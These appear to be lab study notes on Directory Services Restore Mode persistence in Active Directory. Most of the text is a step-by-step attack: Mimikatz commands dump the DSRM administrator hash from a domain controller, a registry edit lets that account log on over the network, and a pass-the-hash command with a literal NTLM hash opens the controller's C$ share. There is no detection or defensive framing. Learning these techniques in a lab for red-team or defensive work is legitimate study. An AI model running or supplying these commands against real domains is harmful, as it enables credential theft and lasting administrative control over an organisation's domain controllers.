• DSRM is Directory Services Restore Mode.

• There is a local administrator on every DC called "Administrator" whose password is the DSRM password.

• DSRM password (SafeModePassword) is required when a server is promoted to Domain Controller and it is rarely changed.

• After altering the configuration on the DC, it is possible to pass the NTLM hash of this user to access the DC.

• Dump DSRM password (needs DA privs)

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dcorp-dc

• Compare the Administrator hash with the Administrator hash of below command

  Invoke-Mimikatz -Command '"lsadump::lsa /patch"' - Computername dcorp-dc
  

• First one is the DSRM local Administrator.

• Since it is the local administrator of the DC, we can pass the hash to authenticate.

• But, the Logon Behavior for the DSRM account needs to be changed before we can use its hash

Enter-PSSession -Computername dcorp-dc

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

• Use below command to pass the hash

Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe"'

ls \\dcorp-dc\C$